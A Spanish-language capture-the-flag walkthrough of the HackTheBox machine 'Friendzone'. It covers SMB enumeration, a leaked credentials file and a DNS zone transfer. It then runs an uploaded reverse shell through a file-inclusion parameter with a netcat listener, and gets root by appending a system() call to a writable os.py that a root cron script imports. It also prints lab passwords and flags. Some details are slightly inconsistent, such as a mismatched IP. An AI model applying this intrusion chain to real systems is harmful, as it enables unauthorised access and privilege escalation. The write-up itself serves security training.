---
# System prepended metadata

title: WriteUp Friendzone - HackTheBox Machine
tags: [htb, ctf, hackthebox]

---

**Realizamos un escaneo de puertos con nmap**
`$ sudo nmap -sC -sV 10.10.10.12`

Vemos que esta el puerto 445 de samba abierto
```
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

**Nos conectamos al smb y revisamos los permisos que tenga en los recursos compartidos**
`$ smbmap -H 10.10.10.123` 

Como podemos ver la carpeta Development tiene permisos de lectura/escritura mientras que
general tiene solo permisos de lectura
```
general          READ ONLY
Development      READ, WRITE
```

**Ejecutamos un script de nmap para enumerar los detalles de todas las carpetas compartidas en smb**
`$ nmap --script smb-enum-users.nse -p139 10.10.10.123 `

Como podemos ver, todo lo que subamos se guardara en
`/etc/Development`

**Nos conectamos via smbclient a /general **
`$ smbclient //10.10.10.123/general -u root`

Como podemos ver hay un archivo que contiene credenciales
```
$ ls
creds.txt                        N       57  Tue Oct  9 20:52:42 2018
```

**Descargamos el archivo creds.txt**
```
$ get creds.txt
getting file \creds.txt of size 57 as creds.txt (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)
```

Una vez lo tengamos en nuestra maquina local, lo abrimos para ver que contiene
```
$ cat creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
```

Como podemos ver estas credenciales son de algun panel de administracion, esta maquina tiene un servidor dns corriendo el cual se puede ver en el escaneo realizado anteriormente con nmap, por lo tanto analizaremos esos dns con dig
`$ dig axfr friendzone.red @10.10.10.123`

Como podemos ver hay varios dominios, los añadimos todos a /etc/hosts
```
$ sudo nano /etc/hosts
10.10.10.123    friendzone.red
10.10.10.123    administrator1.friendzone.red
10.10.10.123    uploads.friendzone.red
10.10.10.123    hr.friendzone.red
```

**Eliminamos la cache de nuestro navegador, y lo reiniciamos, luego accedemos al siguiente enlace**
https://administrator1.friendzone.red

Una vez nos salga el panel de admin, entramos con las credenciales obtenidas anteriormente
```
admin
WORKWORKHhallelujah@#
```

Una vez dentro, nos dirigimos al siguiente directorio
https://administrator1.friendzone.red/dashboard.php

Como podemos ver, podemos subir una imagen pero probaremos subir una reverse shell ya configurada con el puerto que queramos y nuestra ip

**Ponemos una instancia de netcat a la escucha del puerto que hayamos asignado previamente **
`$ nc -lvp 1337`

**Luego ejecutamos la reverse shell **
https://administrator1.friendzone.red/dashboard.php?image_id=b.jpg&pagename=/etc/Development/shell

Una vez que tengamos conexion, vamos a conseguir la flag de user
```
$ cd /home/friend
$ cat user.txt
a9ed20acecd6c5b6b52f474e15ae9a11
```

Vamos a /var/www/ y nos encontramos con un archivo de configuracion de mysql el cual contiene credenciales 
```
$ cd /var/www
$ cat mysql_data.conf
db_user=friend
db_pass=Agpyu12!0.213$
```

**Nos conectamos via ssh con las credenciales obtenidas**
`$ ssh friend@10.10.10.123`

Una vez conectados, tendremos que hacer escalacion de privilegios para conseguir root, para ello utilizaremos pspy para ver los procesos que estan corriendo, para esto primero la descargamos en nuestra maquina local
`$ git clone https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64`

Luego abrimos una nueva terminal y la pasamos a la maquina via ssh utilizando el comando scp
```
$ scp /path/to/pspy friend@10.10.10.123:/home/friend/pspy64
```

Una vez lo tengamos en la carpeta /home/friend de la maquina le daremos permisos con chmod y luego lo ejecutamos
```
$ chmod +x pspy64
$ ./pspy64
```

Nos comenzaran a salir todos los procesos que estan corriendo, pero hay uno en especial que esta corriendo un script en python
```
2019/07/09 00:24:01 CMD: UID=0    PID=8632   | /usr/bin/python /opt/server_admin/reporter.py 
2019/07/09 00:24:01 CMD: UID=0    PID=8631   | /bin/sh -c /opt/server_admin/reporter.py
```

Como podemos ver el script esta guardado en /opt/server_admin pero si observamos bien, podremos ver que el script esta incompleto y que no hace nada realmente, ya que la mayoria de comandos estan en lineas las cuales estan comentadas, y el script no hace mas que importar una libreria de python llamada "OS Module" asi que vamos a aprovechar esto para conseguir el root
```
$ cd /opt/server_admin
$ cat reporter.py
```

Vamos a la carpeta donde estan almacenadas todas las librerias de python y vemos que el archivo os.py tiene permisos de lectura, y edicion para el usuario friend
```
$ cd /usr/lib/python2.7
$ ls -la
rwxrwxr-x 1 friend friend 26K Jun 2 21:33 os.py
```

Abrimos con el editor de texto que queramos (nano/vi) desde la terminal el archivo os.py
`$ nano os.py `

Le añadimos al final lo siguiente para que nos copie la flag de user al directorio /tmp
`$ system(“cp /root/root.txt /tmp/rooted.txt”)`

Finalmente nos vamos al directorio /tmp y obtenemos la flag de root
```
$ cd /tmp
$ cat rooted.txt
b0e6c60b82cf96e9855ac1656a9e90c7
```




---







